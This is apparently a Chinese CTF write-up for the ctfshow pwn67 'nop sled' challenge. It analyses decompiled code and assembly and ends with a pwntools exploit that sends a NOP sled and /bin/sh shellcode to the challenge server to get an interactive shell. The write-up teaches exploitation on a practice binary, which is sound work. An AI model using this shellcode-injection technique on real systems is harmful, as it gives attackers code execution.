yangyunhui

功不唐捐,玉汝于成

ctfshow pwn入门 pwn67

pwn67

ctf.show pwn67

目录


题目

预计时间

5h

题目分析及截图

题目标题是nop sled,我们先来说一下原理是什么

NOP sled 是通过连续的 NOP 指令(通常是 0x90)在内存中构造一个 “滑道”,使得程序能够在没有精确控制跳转地址的情况下,依然能“滑行”到我们注入的 shellcode。这是一种应对 地址随机化(如 ASLR)和 精确跳转控制 不足的攻击技术。

我们首先使用checksec ./pwn看一下它的保护机制

我们可以看到这是32位程序,开启了canary,但是NX没有开启,代表我们是可以进行shellcode注入的

我们打开ida查看程序的主函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// bad sp value at call has been detected, the output may be wrong!
int __cdecl main(int argc, const char **argv, const char **envp)
{
char *position; // eax
void (*v5)(void); // [esp+0h] [ebp-1010h] BYREF
unsigned int seed[1027]; // [esp+4h] [ebp-100Ch] BYREF

seed[1025] = (unsigned int)&argc;
seed[1024] = __readgsdword(0x14u);
setbuf(stdout, 0);
logo();
srand((unsigned int)seed);
Loading();
acquire_satellites();
position = query_position();
printf("We need to load the ctfshow_flag.\nThe current location: %p\n", position);
printf("What will you do?\n> ");
fgets((char *)seed, 4096, stdin);
printf("Where do you start?\n> ");
__isoc99_scanf("%p", &v5);
v5();
return 0;
}

query_position函数

1
2
3
4
5
6
7
8
9
10
11
12
char *query_position()
{
char v1; // [esp+3h] [ebp-15h] BYREF
int v2; // [esp+4h] [ebp-14h]
char *v3; // [esp+8h] [ebp-10h]
unsigned int v4; // [esp+Ch] [ebp-Ch]

v4 = __readgsdword(0x14u);
v2 = rand() % 1337 - 668;
v3 = &v1 + v2;
return &v1 + v2;
}

代码的逻辑:

  1. 程序会先输出一些字符,还有一个地址,根据query_position函数来看这个地址position = &v1+v2
  2. 程序让我们输入一串字符串(大小是4096)给到seed变量
  3. 输入一串地址赋值给v5
大致思路:

在checksec ./pwn时,我们发现了有canary保护机制,如果平常的话,我们可能通过爆破canary来解这道题,但是本题需要我们去爆破canary吗??

首先,我们是通过往seed里面去写shellcode,在通过scanf函数输入v5的地址直接跳转到v5(我们的v5可以是shellcode的地址),根本不需要用到canary,因为canary是用来保护返回地址的,而这道题我们不是用覆盖返回地址来写的,自然不用去爆破canary。

再说的详细一点就是

因为程序的漏洞点不是返回地址覆盖,而是可控函数指针 v5。

我们通过 fgets 往 seed[] 里写入了 shellcode,然后使用:

1
2
scanf("%p", &v5);
v5();

直接控制程序跳转到 seed[]。
整个过程不经过函数返回,也不会触发栈保护 Canary,因此不需要泄露或爆破 Canary

现在你应该知道为什么不需要爆破canary了

现在我们要计算输入v5的地址是多少

我画了一个栈的图更方便我们去理解(上面是高地址,下面是低地址)

  1. **v1距seed的距离:**v1的位置是ebp-15h那么它与query_position的ebp的距离是15h

  2. 输入v5的值:

    因为:

    1
    2
    3
    v2 = rand() % 1337 - 668;
    v3 = &v1 + v2;
    return &v1 + v2;

    所以:

    • position = &v1 + v2 = &v1 + rand() % 1337 - 668 (我们假设rand()%1337为random),所以 position = &v1 + random - 668(random ∈ [0,1336])
    • 由上面可得v1=position-random+668
    • 因为v1距seed的距离是0x2d,所以seed = v1 + 0x2d = position - random + 668 + 0x2d
    • 因为我们输入的v5一定是在第一个nop之后,在shellcode之前的,我们可以让v5 = position + 668 + 0x2d ,我们需要保证nop的长度在shellcode之前,所以我们可以让nop的长度=1336(或者更长,但是加上shellcode,你不能超过seed的长度)

    现在就知道我们每一个数值都是多少了

    1. nop的长度是1336
    2. v5=position+668+0x2d

    构造exp如下

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    from pwn import *

    context.arch = 'i386'
    p = remote('pwn.challenge.ctf.show', 28164)
    p.recvuntil("current location:")
    position_addr = eval(p.recvuntil("\n",drop=True))
    print(position_addr)
    payload = b"\x90" * 1336 + asm(shellcraft.sh())
    p.recvuntil(">")
    p.sendline(payload)

    #输入v5的地址
    v5_addr = position_addr + 668 + 0x2d
    p.recvuntil(">")
    p.sendline(v5_addr)
    p.interactive()
  • \x90就是nop的机器码

我遇见的一些问题(可能会把你绕晕)

  1. 在query_position函数的汇编代码中

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    .text:080487D1 ; __unwind {
    .text:080487D1 push ebp
    .text:080487D2 mov ebp, esp
    .text:080487D4 push ebx
    .text:080487D5 sub esp, 14h
    .text:080487D8 call __x86_get_pc_thunk_ax
    .text:080487DD add eax, (offset _GLOBAL_OFFSET_TABLE_ - $)
    .text:080487E2 mov ebx, large gs:14h
    .text:080487E9 mov [ebp+var_C], ebx
    .text:080487EC xor ebx, ebx
    .text:080487EE mov ebx, eax
    .text:080487F0 call _rand
    .text:080487F5 mov ecx, eax
    .text:080487F7 mov edx, 6208CECBh
    .text:080487FC mov eax, ecx
    .text:080487FE imul edx
    .text:08048800 sar edx, 9
    .text:08048803 mov eax, ecx
    .text:08048805 sar eax, 1Fh
    .text:08048808 sub edx, eax
    .text:0804880A mov eax, edx
    .text:0804880C imul eax, 539h
    .text:08048812 sub ecx, eax
    .text:08048814 mov eax, ecx
    .text:08048816 sub eax, 29Ch
    .text:0804881B mov [ebp+var_14], eax
    .text:0804881E mov eax, [ebp+var_14]
    .text:08048821 lea edx, [ebp+var_15]
    .text:08048824 add eax, edx
    .text:08048826 mov [ebp+var_10], eax
    .text:08048829 mov eax, [ebp+var_10]
    .text:0804882C mov ebx, [ebp+var_C]
    .text:0804882F xor ebx, large gs:14h
    .text:08048836 jz short loc_804883D
    .text:08048838 call __stack_chk_fail_local
  • 在.text:080487D5 sub esp, 14h行,发现query_position函数栈帧给局部变量分配了14h的空间,但是v1的位置为什么是ebp-15h,那不应该分配15h的空间吗???

    **答:**在sub esp, 14h这一行明确指定了栈帧的局部变量就是14h,这个是不可怀疑的。但是为什么v1在ebp-15h?

    • v1 的偏移是 ebp-0x15,是因为 v1 只是一个 1 字节的 char 类型,而栈对齐要求 v2(int 类型)必须按照 4 字节对齐。因此,在 v1 后面插入了 3 字节的填充。
    • v2 紧接着 v1 后面,占用 4 字节,对齐到 4 字节边界。

    所以,栈上的偏移量是 ebp-0x15,是由于填充字节的存在,符合 4 字节对齐规则。偏移量是相对 ebp 的,并不是要求 offset 最大值 = 局部变量区大小

希望可以帮到你,加油!